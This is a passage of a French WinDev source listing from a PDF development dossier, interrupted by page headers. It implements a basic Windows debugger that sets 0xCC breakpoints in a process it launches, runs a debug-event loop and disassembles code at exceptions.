byTemp est un entier sans signe sur 1 octetsdwNewProt, dwOldProt sont des entiers sans signe sur 4 octetslpAddr est un entier sans signe sur 4 octets = VGP_bpData[nnum]:lpAddr

API ("KERNEL32","VirtualProtectEx",hProcess,lpAddr,1,PAGE_EXECUTE_READWRITE,&dwOldProt)bOK est un booléen = API ("KERNEL32.DLL","ReadProcessMemory",hProcess,lpAddr,&byTemp,1,Null)SI (bytemp<>0xCC) ALORS

API ("KERNEL32","VirtualProtectEx",hProcess,lpAddr,1,dwOldProt,&dwNewProt)RENVOYER Faux

SINONbOK = API ("KERNEL32.DLL","WriteProcessMemory",hProcess,lpAddr,&VGP_bpData[nNum]:byData,1,Null)

VGP_bpData[nNum]:lpAddr = NullVGP_bpData[nNum]:byData = NullVGP_bpData[nNum]:nCount = 0VGP_bpData[nNum]:bEtat = 0

VGP_BPX--

RENVOYER bOKFIN

Procédure globale WD_DEBUG_SET_BREAKPOINT// Résumé : <indiquez ici ce que fait la procédure>// Syntaxe ://[ <Résultat> = ] WD_DEBUG_SET_BREAKPOINT ( [<hProcess> est entier [, <lpAddr> est entier sans signe sur 4 octets [, <nNum> est entier [, <dwEtat> est entier]]]])

//

Page 1060: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Collection de procéduresPartie 8

26/10/2008 1066

// Paramètres :// hProcess (entier - valeur par défaut=0) : <indiquez ici le rôle de hProcess>// lpAddr (entier sans signe sur 4 octets - valeur par défaut=0) : <indiquez ici le rôle de lpAddr>// nNum (entier - valeur par défaut=0) : <indiquez ici le rôle de nNum>// dwEtat (entier - valeur par défaut=0) : <indiquez ici le rôle de dwEtat>// Valeur de retour :// booléen : // Aucune//// Exemple :// Indiquez ici un exemple d'utilisation.//PROCEDURE WD_DEBUG_SET_BREAKPOINT(hProcess est un entier=0,lpAddr est un entier sans signe sur 4 octets=0,nNum est un entier=0,dwEtat est un entier=0)

byTemp est un entier sans signe sur 1 octetsdwNewProt, dwOldProt sont des entiers sans signe sur 4 octets

API ("KERNEL32","VirtualProtectEx",hProcess,lpAddr,1,PAGE_EXECUTE_READWRITE,&dwOldProt)

bOK est un booléen = API ("KERNEL32.DLL","ReadProcessMemory",hProcess,lpAddr,&byTemp,1,Null)SI bok=Faux ALORS

API ("KERNEL32","VirtualProtectEx",hProcess,lpAddr,1,dwOldProt,&dwNewProt)RENVOYER Faux

SINONVGP_bpData[nnum]:lpAddr = lpaddrVGP_bpData[nNum]:byData = bytempVGP_bpData[nNum]:nCount = 0VGP_bpData[nnum]:bEtat = dwetat

bytemp = 0xCC

bok = API ("KERNEL32.DLL","WriteProcessMemory",hProcess,lpAddr,&byTemp,1,Null)

VGP_BPX++

RENVOYER bokFIN

Procédure globale WD_Do_Debug_Loop// Résumé : <indiquez ici ce que fait la procédure>// Syntaxe ://WD_Do_Debug_Loop ()//// Paramètres :// Aucun

Page 1061: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Collection de procéduresPartie 8

26/10/2008 1067

// Valeur de retour :// Aucune//// Exemple :// Indiquez ici un exemple d'utilisation.//PROCEDURE WD_Do_Debug_Loop()

bRet est un booléen = FauxbFirstChance est un booléen = Vrai

API ("KERNEL32.DLL","GetStartupInfoA",&mySI)

bret = API ("KERNEL32.DLL","CreateProcessA",VGP_Executable,Null,Null,Null,False,DEBUG_PROCESS,Null,Null,&mySI,&myPI)SI bret=Faux ALORS

Erreur ("Erreur durant le lancement du processus.")RETOUR

FIN

nHThread est un entier = myPI:hThreadnHProcess est un entier = myPI:hProcess

hFileSize est un entier sans signe sur 4 octets= 0

TANTQUE Vrai

API ("KERNEL32.DLL","WaitForDebugEvent",&dbEvent,-1)

SI (dbEvent:DebugEventCode = EXIT_PROCESS_DEBUG_EVENT) ALORSSORTIR

SINONSI (dbEvent:DebugEventCode = CREATE_PROCESS_DEBUG_EVENT) ALORS

Transfert (&DebugCreateProcess,&dbEvent,Dimension(DebugCreateProcess))

hFileSize = API("KERNEL32","GetFileSize",DebugCreateProcess:hfile,Null)

API ("KERNEL32.DLL","ContinueDebugEvent",dbEvent:ProcessId,dbEvent:ThreadId,DBG_CONTINUE)CONTINUE

SINONSI (dbEvent:DebugEventCode = EXCEPTION_DEBUG_EVENT) ALORS

Transfert (&DebugException,&dbEvent,Dimension(DebugException))

SELON DebugException:ExceptionCode

Page 1062: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Collection de procéduresPartie 8

26/10/2008 1068

CAS EXCEPTION_BREAKPOINT

// On passe dedans lorsque le prog se charge, donc on peut poser un bpx a l entry pointSI bFirstChance = Vrai ALORS

bFirstChance = Faux

WD_DEBUG_SET_BREAKPOINT (myPI:hProcess,C_PE:getImageBase()+C_PE:getEntryPoint(),VGP_BPX,VGP_Bpx_Etat_EP)

SINON

pBuffer est un entier sans signe sur 4 octets = 0nLpAddress est un entiernDwSize est un entiernFlAllocationType est un entiernFlProtect est un entier

SELON WD_GET_ETAT_BPX(DebugException:ExceptionAddress)

CAS VGP_Bpx_Etat_Actif

CAS VGP_Bpx_Etat_Inactif

CAS VGP_Bpx_Etat_OneShot

WD_DEBUG_REMOVE_BREAKPOINT (myPI:hProcess,WD_GET_NUM_BPX(DebugException:ExceptionAddress))

pBuffer=NullpBuffer=API("KERNEL32","VirtualAlloc",Null,500,OUBinaire(MEM_COMMIT,MEM_RESERVE),PAGE_READWRITE)

API ("KERNEL32.DLL","ReadProcessMemory",myPI:hProcess,DebugException:ExceptionAddress,pBuffer,500,Null)

DisassembleCode (pBuffer,(pBuffer+500),DebugException:ExceptionAddress,Faux,Faux)

API("KERNEL32","VirtualFree",pBuffer,500,0x8000)

context:ContextFlags = FEN_MAIN_WDDEBUG.CONTEXT_FULLAPI ("KERNEL32.DLL","GetThreadContext",myPI:hThread,&context)

context:Eip--

WD_SET_REGISTRE (context:Eax,context:Ecx,context:Edx,context:Ebx,context:eEsp,context:Ebp,context:Esi,context:Esi,context:Eip)Info("debug3")API ("KERNEL32.DLL","SetThreadContext",myPI:hThread,&context)

Page 1063: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Collection de procéduresPartie 8

26/10/2008 1069

indLigneSel est un entier = TableCherche(FEN_MAIN_WDDEBUG.COL_ADRESSE,NumériqueVersChaîne(DebugException:ExceptionAddress,"08X"))

TableSelectPlus(FEN_MAIN_WDDEBUG.Table1,indLigneSel)

API ("KERNEL32.DLL","SuspendThread",myPI:hThread)

API ("KERNEL32.DLL","ContinueDebugEvent",dbEvent:ProcessId,dbEvent:ThreadId,DBG_CONTINUE)CONTINUE

CAS VGP_Bpx_Etat_EP

WD_DEBUG_REMOVE_BREAKPOINT (myPI:hProcess,WD_GET_NUM_BPX(DebugException:ExceptionAddress))

pBuffer=API("KERNEL32","VirtualAlloc",Null,hFileSize,OUBinaire(MEM_COMMIT,MEM_RESERVE),PAGE_READWRITE)

//API("KERNEL32.DLL","ReadProcessMemory",myPI:hProcess,C_PE:getImageBase()+C_PE:getBaseOfCode(),pBuffer,hFileSize,Null)

API("KERNEL32.DLL","ReadProcessMemory",myPI:hProcess,C_PE:getImageBase()+C_PE:getEntryPoint(),pBuffer,hFileSize,Null)

// Trace(NumériqueVersChaîne(C_PE:getImageBase()+C_PE:getBaseOfCode(),"08X"))// Trace(NumériqueVersChaîne(C_PE:getImageBase()+C_PE:getEntryPoint(),"08X"))// Trace(NumériqueVersChaîne(C_PE:getImageBase()+C_PE:getImageSize(),"08X"))

// DisassembleCode (pBuffer,(pBuffer+hFileSize),C_PE:getImageBase()+C_PE:getBaseOfCode(),Vrai,Faux)DisassembleCode (pBuffer,(pBuffer+hFileSize),C_PE:getImageBase()+C_PE:getEntryPoint(),Vrai,Faux)

FEN_MAIN_WDDEBUG.Table1..Visible = Vrai

API("KERNEL32","VirtualFree",pBuffer,hFileSize,0x8000)

TableSelectPlus(FEN_MAIN_WDDEBUG.Table1,TableCherche(FEN_MAIN_WDDEBUG.COL_ADRESSE,NumériqueVersChaîne(DebugException:ExceptionAddress,"08X")))

context:ContextFlags = FEN_MAIN_WDDEBUG.CONTEXT_FULLAPI ("KERNEL32.DLL","GetThreadContext",myPI:hThread,&context)

context:Eip = context:Eip - 1

WD_SET_REGISTRE (context:Eax,context:Ecx,context:Edx,context:Ebx,context:eEsp,context:Ebp,context:Esi,context:Edi,context:Eip)

Page 1064: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Collection de procéduresPartie 8

26/10/2008 1070

// Info("debug2")API ("KERNEL32.DLL","SetThreadContext",myPI:hThread,&context)

API ("KERNEL32.DLL","SuspendThread",myPI:hThread)

API ("KERNEL32.DLL","ContinueDebugEvent",dbEvent:ProcessId,dbEvent:ThreadId,DBG_CONTINUE)

AUTRE CAS

FIN

CONTINUE

FIN

// Tracing Pas à pasCAS EXCEPTION_SINGLE_STEP

pBuffer=NullpBuffer=API("KERNEL32","VirtualAlloc",Null,500,OUBinaire(MEM_COMMIT,MEM_RESERVE),PAGE_READWRITE)

API ("KERNEL32.DLL","ReadProcessMemory",myPI:hProcess,DebugException:ExceptionAddress,pBuffer,500,Null)

DisassembleCode (pBuffer,(pBuffer+500),DebugException:ExceptionAddress,Faux,Faux)

API("KERNEL32","VirtualFree",pBuffer,500,0x8000)

context:ContextFlags = FEN_MAIN_WDDEBUG.CONTEXT_FULLAPI ("KERNEL32.DLL","GetThreadContext",myPI:hThread,&context)

//WD_SET_REGISTRE (context:Eax,context:Ecx,context:Edx,context:Ebx,context:eEsp,context:Ebp,context:Esi,context:Edi,context:Eip)

WD_SET_REGISTRE (context:Eax,context:Ecx,context:Edx,context:Ebx,context:eEsp,context:Ebp,context:Esi,context:Edi,DebugException:ExceptionAddress)

// Info("debug1")API ("KERNEL32.DLL","SetThreadContext",myPI:hThread,&context)

indLigneSelST est un entier = TableCherche(FEN_MAIN_WDDEBUG.COL_ADRESSE,NumériqueVersChaîne(DebugException:ExceptionAddress,"08X"))indPremLigne est un entier=0SELON VGP_LastTrace

CAS "INTO"SI VGP_LastBranch DANS (1,2,3,4,5,6,7,8,9,10,11,12,13,-1,-2,-3,-4,-5,-6,-7,-8,-9) ALORS

indPremLigne = TablePosition(FEN_MAIN_WDDEBUG.Table1)TablePosition(FEN_MAIN_WDDEBUG.Table1,indLigneSelST)

FIN

Page 1065: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Collection de procéduresPartie 8

26/10/2008 1071

CAS "OVER"SI VGP_LastBranch <> 12 ET VGP_LastBranch<>0 ALORS

indPremLigne = TablePosition(FEN_MAIN_WDDEBUG.Table1)TablePosition(FEN_MAIN_WDDEBUG.Table1,indLigneSelST)

FIN

AUTRE CASFIN

TableSelectPlus(FEN_MAIN_WDDEBUG.Table1,indLigneSelST)

API ("KERNEL32.DLL","SuspendThread",myPI:hThread)

API ("KERNEL32.DLL","ContinueDebugEvent",dbEvent:ProcessId,dbEvent:ThreadId,DBG_CONTINUE)CONTINUE

//**********************************************************************************************************************************************************************************

CASE EXCEPTION_ACCESS_VIOLATIONTrace("ACCESS VIOLATION en "+NumériqueVersChaîne(DebugException:ExceptionAddress,"08X"))

// Trace("EAX="+FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_ADR[1]+" "+FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_VAL[1])// Trace("ECX="+FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_ADR[2]+" "+FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_VAL[2])// Trace("EDX="+FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_ADR[3]+" "+FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_VAL[3])// Trace("EBX="+FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_ADR[4]+" "+FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_VAL[4])

// Trace("ESP="+FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_ADR[5]+" "+FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_VAL[5])// Trace("EBP="+FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_ADR[6]+" "+FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_VAL[6])

// Trace("ESI="+FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_ADR[7]+" "+FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_VAL[7])// Trace("EDI="+FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_ADR[8]+" "+FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_VAL[8])

// trace("EIP="+FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_ADR[9]+" "+FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_val[9])

// pBuffer=Null// pBuffer=API("KERNEL32","VirtualAlloc",Null,500,OUBinaire(MEM_COMMIT,MEM_RESERVE),PAGE_READWRITE)

// trace(NumériqueVersChaîne(pbuf,"08X"))// DisassembleCode (pBuffer,(pBuffer+500),context:eEsp,Faux,Faux)

// API("KERNEL32","VirtualFree",pBuffer,500,0x8000)

context:ContextFlags = FEN_MAIN_WDDEBUG.CONTEXT_FULL

Page 1066: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Collection de procéduresPartie 8

26/10/2008 1072

// context:ContextFlags = FEN_MAIN_WDDEBUG.CONTEXT_DEBUG_REGISTERSAPI ("KERNEL32.DLL","GetThreadContext",myPI:hThread,&context)

// pbuf is string on 50// VL_ESP est un entier sans signe sur 4 octets="00C0FD58"// API ("KERNEL32.DLL","ReadProcessMemory",myPI:hProcess,VL_ESP,&pbuf,50,Null)// Trace(Asc(pbuf[[1]]))// Trace(Asc(pbuf[[2]]))

//WD_SET_REGISTRE (context:Eax,context:Ecx,context:Edx,context:Ebx,context:eEsp,context:Ebp,context:Esi,context:Edi,context:Eip)

// Trace("EAX="+NumériqueVersChaîne(context:eax,"08X"))//// trace("EDI="+NumériqueVersChaîne(context:edi,"08X"))// Trace("EIP="+NumériqueVersChaîne(context:Eip,"08X"))

// VL_EAX est un entier sans signe sur 4 octets=0// pbuf est une chaine = ""// API("KERNEL32.DLL","ReadProcessMemory",myPI:hProcess,VL_EAX,pbuf,50,Null)

WD_SET_REGISTRE (context:Eax,context:Ecx,context:Edx,context:Ebx,context:eEsp,context:Ebp,context:Esi,context:Edi,DebugException:ExceptionAddress)

// //WD_SET_REGISTRE (context:Eax,context:Ecx,context:Edx,context:Ebx,context:eEsp,context:Ebp,context:Esi,context:Edi,context:eip)

API ("KERNEL32.DLL","ContinueDebugEvent",dbEvent:ProcessId,dbEvent:ThreadId,DBG_EXCEPTION_NOT_HANDLED)CONTINUE

AUTRE CAS// EXCEPTION_ARRAY_BOUNDS_EXCEEDED// EXCEPTION_DATATYPE_MISALIGNMENT// EXCEPTION_FLT_DENORMAL_OPERAND// EXCEPTION_FLT_DIVIDE_BY_ZERO// EXCEPTION_FLT_INEXACT_RESULT// EXCEPTION_FLT_INVALID_OPERATION// EXCEPTION_FLT_OVERFLOW// EXCEPTION_FLT_STACK_CHECK// EXCEPTION_FLT_UNDERFLOW// EXCEPTION_ILLEGAL_INSTRUCTION

Page 1067: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Collection de procéduresPartie 8

26/10/2008 1073

// EXCEPTION_IN_PAGE_ERROR// EXCEPTION_INT_DIVIDE_BY_ZERO// EXCEPTION_INT_OVERFLOW// EXCEPTION_INVALID_DISPOSITION// EXCEPTION_NONCONTINUABLE_EXCEPTION// EXCEPTION_PRIV_INSTRUCTION// EXCEPTION_STACK_OVERFLOW

API ("KERNEL32.DLL","ContinueDebugEvent",dbEvent:ProcessId,dbEvent:ThreadId,DBG_CONTINUE)CONTINUE

FIN

API ("KERNEL32.DLL","ContinueDebugEvent",dbEvent:ProcessId,dbEvent:ThreadId,DBG_CONTINUE)CONTINUE

SINON// Trace("EAX="+NumériqueVersChaîne(context:Eax,"08X"))//// Trace("EDI="+NumériqueVersChaîne(context:Edi,"08X"))// Trace("EIP="+NumériqueVersChaîne(context:Eip,"08X"))

FINFIN

FIN

API ("KERNEL32.DLL","ContinueDebugEvent",dbEvent:ProcessId,dbEvent:ThreadId,DBG_EXCEPTION_NOT_HANDLED)

// API ("KERNEL32.DLL","ContinueDebugEvent",dbEvent:ProcessId,dbEvent:ThreadId,DBG_CONTINUE)

FIN

API ("KERNEL32.DLL","CloseHandle",myPI:hProcess)API ("KERNEL32.DLL","CloseHandle",myPI:hThread)

Procédure globale WD_Do_Debug_Loop2// Résumé : <indiquez ici ce que fait la procédure>// Syntaxe ://WD_Do_Debug_Loop2 ()//// Paramètres :// Aucun// Valeur de retour :// Aucune//// Exemple :

Page 1068: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Collection de procéduresPartie 8

26/10/2008 1074

// Indiquez ici un exemple d'utilisation.//PROCEDURE WD_Do_Debug_Loop2()

bExceptionOccured is boolean=FauxbRet est un booléen = FauxbFirstChance est un booléen = Vrai

API ("KERNEL32.DLL","GetStartupInfoA",&mySI)

bret = API ("KERNEL32.DLL","CreateProcessA",VGP_Executable,Null,Null,Null,False,DEBUG_PROCESS,Null,Null,&mySI,&myPI)SI bret=Faux ALORS

Erreur ("Erreur durant le lancement du processus.")RETOUR

FIN

nHThread est un entier = myPI:hThreadnHProcess est un entier = myPI:hProcess

hFileSize est un entier sans signe sur 4 octets= 0

TANTQUE Vrai

API ("KERNEL32.DLL","WaitForDebugEvent",&dbEvent,-1)

SI (dbEvent:DebugEventCode = EXIT_PROCESS_DEBUG_EVENT) ALORSSORTIR

SINONSI (dbEvent:DebugEventCode = CREATE_PROCESS_DEBUG_EVENT) ALORS

Transfert (&DebugCreateProcess,&dbEvent,Dimension(DebugCreateProcess))

hFileSize = API("KERNEL32","GetFileSize",DebugCreateProcess:hfile,Null)

API ("KERNEL32.DLL","ContinueDebugEvent",dbEvent:ProcessId,dbEvent:ThreadId,DBG_CONTINUE)CONTINUE

SINONSI (dbEvent:DebugEventCode = EXCEPTION_DEBUG_EVENT) ALORS

Transfert (&DebugException,&dbEvent,Dimension(DebugException))

SELON DebugException:ExceptionCode

CAS EXCEPTION_BREAKPOINT

// On passe dedans lorsque le prog se charge, donc on peut poser un bpx a l entry point

Page 1069: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Collection de procéduresPartie 8

26/10/2008 1075

SI bFirstChance = Vrai ALORS

bFirstChance = Faux

WD_DEBUG_SET_BREAKPOINT (myPI:hProcess,C_PE:getImageBase()+C_PE:getEntryPoint(),VGP_BPX,VGP_Bpx_Etat_EP)

SINON

pBuffer est un entier sans signe sur 4 octets = 0nLpAddress est un entiernDwSize est un entiernFlAllocationType est un entiernFlProtect est un entier

SELON WD_GET_ETAT_BPX(DebugException:ExceptionAddress)

CAS VGP_Bpx_Etat_Actif

CAS VGP_Bpx_Etat_Inactif

CAS VGP_Bpx_Etat_OneShot

WD_DEBUG_REMOVE_BREAKPOINT (myPI:hProcess,WD_GET_NUM_BPX(DebugException:ExceptionAddress))

pBuffer=NullpBuffer=API("KERNEL32","VirtualAlloc",Null,500,OUBinaire(MEM_COMMIT,MEM_RESERVE),PAGE_READWRITE)

API ("KERNEL32.DLL","ReadProcessMemory",myPI:hProcess,DebugException:ExceptionAddress,pBuffer,500,Null)

DisassembleCode (pBuffer,(pBuffer+500),DebugException:ExceptionAddress,Faux,Faux)

API("KERNEL32","VirtualFree",pBuffer,500,0x8000)

context:ContextFlags = FEN_MAIN_WDDEBUG.CONTEXT_FULLAPI ("KERNEL32.DLL","GetThreadContext",myPI:hThread,&context)

context:Eip--

WD_SET_REGISTRE (context:Eax,context:Ecx,context:Edx,context:Ebx,context:eEsp,context:Ebp,context:Esi,context:Esi,context:Eip)

API ("KERNEL32.DLL","SetThreadContext",myPI:hThread,&context)

indLigneSel est un entier = TableCherche(FEN_MAIN_WDDEBUG.COL_ADRESSE,NumériqueVersChaîne(DebugException:ExceptionAddress,"08X"))

Page 1070: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Collection de procéduresPartie 8

26/10/2008 1076

TableSelectPlus(FEN_MAIN_WDDEBUG.Table1,indLigneSel)

API ("KERNEL32.DLL","SuspendThread",myPI:hThread)

API ("KERNEL32.DLL","ContinueDebugEvent",dbEvent:ProcessId,dbEvent:ThreadId,DBG_CONTINUE)CONTINUE

CAS VGP_Bpx_Etat_EP

WD_DEBUG_REMOVE_BREAKPOINT (myPI:hProcess,WD_GET_NUM_BPX(DebugException:ExceptionAddress))

pBuffer=API("KERNEL32","VirtualAlloc",Null,hFileSize,OUBinaire(MEM_COMMIT,MEM_RESERVE),PAGE_READWRITE)

//API("KERNEL32.DLL","ReadProcessMemory",myPI:hProcess,C_PE:getImageBase()+C_PE:getBaseOfCode(),pBuffer,hFileSize,Null)

API("KERNEL32.DLL","ReadProcessMemory",myPI:hProcess,C_PE:getImageBase()+C_PE:getEntryPoint(),pBuffer,hFileSize,Null)

// Trace(NumériqueVersChaîne(C_PE:getImageBase()+C_PE:getBaseOfCode(),"08X"))// Trace(NumériqueVersChaîne(C_PE:getImageBase()+C_PE:getEntryPoint(),"08X"))// Trace(NumériqueVersChaîne(C_PE:getImageBase()+C_PE:getImageSize(),"08X"))

// // DisassembleCode (pBuffer,(pBuffer+hFileSize),C_PE:getImageBase()+C_PE:getBaseOfCode(),Vrai,Faux)// DisassembleCode (pBuffer,(pBuffer+hFileSize),C_PE:getImageBase()+C_PE:getEntryPoint(),Vrai,Faux)

FEN_MAIN_WDDEBUG.Table1..Visible = Vrai

API("KERNEL32","VirtualFree",pBuffer,hFileSize,0x8000)

TableSelectPlus(FEN_MAIN_WDDEBUG.Table1,TableCherche(FEN_MAIN_WDDEBUG.COL_ADRESSE,NumériqueVersChaîne(DebugException:ExceptionAddress,"08X")))

context:ContextFlags = FEN_MAIN_WDDEBUG.CONTEXT_FULLAPI ("KERNEL32.DLL","GetThreadContext",myPI:hThread,&context)

context:Eip = context:Eip - 1

WD_SET_REGISTRE (context:Eax,context:Ecx,context:Edx,context:Ebx,context:eEsp,context:Ebp,context:Esi,context:Edi,context:Eip)

// Info("debug2")API ("KERNEL32.DLL","SetThreadContext",myPI:hThread,&context)

Page 1071: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Collection de procéduresPartie 8

26/10/2008 1077

API ("KERNEL32.DLL","SuspendThread",myPI:hThread)

API ("KERNEL32.DLL","ContinueDebugEvent",dbEvent:ProcessId,dbEvent:ThreadId,DBG_CONTINUE)

AUTRE CAS

FIN

CONTINUE

FIN

// Tracing Pas à pasCAS EXCEPTION_SINGLE_STEP

pBuffer=NullpBuffer=API("KERNEL32","VirtualAlloc",Null,500,OUBinaire(MEM_COMMIT,MEM_RESERVE),PAGE_READWRITE)

API ("KERNEL32.DLL","ReadProcessMemory",myPI:hProcess,DebugException:ExceptionAddress,pBuffer,500,Null)

DisassembleCode (pBuffer,(pBuffer+500),DebugException:ExceptionAddress,Faux,Faux)

API("KERNEL32","VirtualFree",pBuffer,500,0x8000)

context:ContextFlags = FEN_MAIN_WDDEBUG.CONTEXT_FULLAPI ("KERNEL32.DLL","GetThreadContext",myPI:hThread,&context)

//WD_SET_REGISTRE (context:Eax,context:Ecx,context:Edx,context:Ebx,context:eEsp,context:Ebp,context:Esi,context:Edi,context:Eip)

WD_SET_REGISTRE (context:Eax,context:Ecx,context:Edx,context:Ebx,context:eEsp,context:Ebp,context:Esi,context:Edi,DebugException:ExceptionAddress)

// Info("debug1")API ("KERNEL32.DLL","SetThreadContext",myPI:hThread,&context)

indLigneSelST est un entier = TableCherche(FEN_MAIN_WDDEBUG.COL_ADRESSE,NumériqueVersChaîne(DebugException:ExceptionAddress,"08X"))indPremLigne est un entier=0SELON VGP_LastTrace

CAS "INTO"SI VGP_LastBranch DANS (1,2,3,4,5,6,7,8,9,10,11,12,13,-1,-2,-3,-4,-5,-6,-7,-8,-9) ALORS

indPremLigne = TablePosition(FEN_MAIN_WDDEBUG.Table1)TablePosition(FEN_MAIN_WDDEBUG.Table1,indLigneSelST)

FIN

CAS "OVER"SI VGP_LastBranch <> 12 ET VGP_LastBranch<>0 ALORS

Page 1072: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Collection de procéduresPartie 8

26/10/2008 1078

indPremLigne = TablePosition(FEN_MAIN_WDDEBUG.Table1)TablePosition(FEN_MAIN_WDDEBUG.Table1,indLigneSelST)

FIN

AUTRE CASFIN

TableSelectPlus(FEN_MAIN_WDDEBUG.Table1,indLigneSelST)

API ("KERNEL32.DLL","SuspendThread",myPI:hThread)

API ("KERNEL32.DLL","ContinueDebugEvent",dbEvent:ProcessId,dbEvent:ThreadId,DBG_CONTINUE)CONTINUE

//**********************************************************************************************************************************************************************************

CASE EXCEPTION_ACCESS_VIOLATIONbExceptionOccured=True

// trace("ACCESS VIOLATION en "+NumériqueVersChaîne(DebugException:ExceptionAddress,"08X"))

// Trace("EAX="+FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_ADR[1]+" "+FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_VAL[1])// Trace("ECX="+FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_ADR[2]+" "+FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_VAL[2])// Trace("EDX="+FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_ADR[3]+" "+FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_VAL[3])// Trace("EBX="+FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_ADR[4]+" "+FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_VAL[4])

// Trace("ESP="+FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_ADR[5]+" "+FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_VAL[5])// Trace("EBP="+FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_ADR[6]+" "+FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_VAL[6])

// Trace("ESI="+FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_ADR[7]+" "+FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_VAL[7])// Trace("EDI="+FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_ADR[8]+" "+FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_VAL[8])

// trace("EIP="+FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_ADR[9]+" "+FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_val[9])

// pBuffer=Null// pBuffer=API("KERNEL32","VirtualAlloc",Null,500,OUBinaire(MEM_COMMIT,MEM_RESERVE),PAGE_READWRITE)

// trace(NumériqueVersChaîne(pbuf,"08X"))// DisassembleCode (pBuffer,(pBuffer+500),context:eEsp,Faux,Faux)

// API("KERNEL32","VirtualFree",pBuffer,500,0x8000)

context:ContextFlags = FEN_MAIN_WDDEBUG.CONTEXT_FULL// context:ContextFlags = FEN_MAIN_WDDEBUG.CONTEXT_DEBUG_REGISTERS

API ("KERNEL32.DLL","GetThreadContext",myPI:hThread,&context)

Page 1073: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Collection de procéduresPartie 8

26/10/2008 1079

// pbuf is string on 50// VL_ESP est un entier sans signe sur 4 octets="00C0FD58"// API ("KERNEL32.DLL","ReadProcessMemory",myPI:hProcess,VL_ESP,&pbuf,50,Null)// Trace(Asc(pbuf[[1]]))// Trace(Asc(pbuf[[2]]))

//WD_SET_REGISTRE (context:Eax,context:Ecx,context:Edx,context:Ebx,context:eEsp,context:Ebp,context:Esi,context:Edi,context:Eip)

// Trace("EAX="+NumériqueVersChaîne(context:eax,"08X"))//// trace("EDI="+NumériqueVersChaîne(context:edi,"08X"))// Trace("EIP="+NumériqueVersChaîne(context:Eip,"08X"))

// VL_EAX est un entier sans signe sur 4 octets=0// pbuf est une chaine = ""// API("KERNEL32.DLL","ReadProcessMemory",myPI:hProcess,VL_EAX,pbuf,50,Null)

